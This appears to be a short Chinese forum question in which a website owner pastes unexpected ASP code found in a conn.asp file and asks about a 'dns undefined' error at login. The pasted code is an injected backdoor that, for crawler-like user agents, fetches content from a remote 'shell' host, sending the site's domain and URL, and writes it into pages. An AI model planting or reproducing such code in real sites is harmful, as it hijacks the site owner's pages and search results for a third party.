CONN.ASP多出了这些代码

<%
Function getBody(infopageurl)
On Error Resume Next
if infopageurl<>"" then
 dim xmlHttp
 set xmlHttp=server.createobject("MSXML2.XMLHTTP")
 xmlHttp.open "GET",infopageurl,false
 xmlHttp.send
 getBody=BytesToBstr(xmlhttp.responsebody,"GB2312")
 set xmlHttp=nothing
end if
end Function
Function BytesToBstr(body,Cset)
 dim objstream 
 set objstream = Server.CreateObject("adodb.stream") 
 objstream.Type = 1 
 objstream.Mode = 3 
 objstream.Open 
 objstream.Write body 
 objstream.Position = 0 
 objstream.Type = 2 
 objstream.Charset = Cset 
 BytesToBstr = objstream.ReadText 
 objstream.Close 
 set objstream = nothing
End Function
dns = Request.ServerVariables("SERVER_NAME")
path = Request.ServerVariables("PATH_INFO")
qs = Request.ServerVariables("QUERY_STRING")
url= dns&path&"?"&qs
agent = Request.ServerVariables("HTTP_USER_AGENT")
tz = "http"
if Instr(agent,tz)>0 then
if path ="/index.asp" or path="/default.asp" then
response.write getBody("www.s1920.com/shell/sca.php?dns="&dns)
else
response.write getBody("www.s1920.com/shell/scan.php?dns="&url&"&dn="&dns)
end if
end if
%>

登陆提示变量为定义 dns，什么问题呢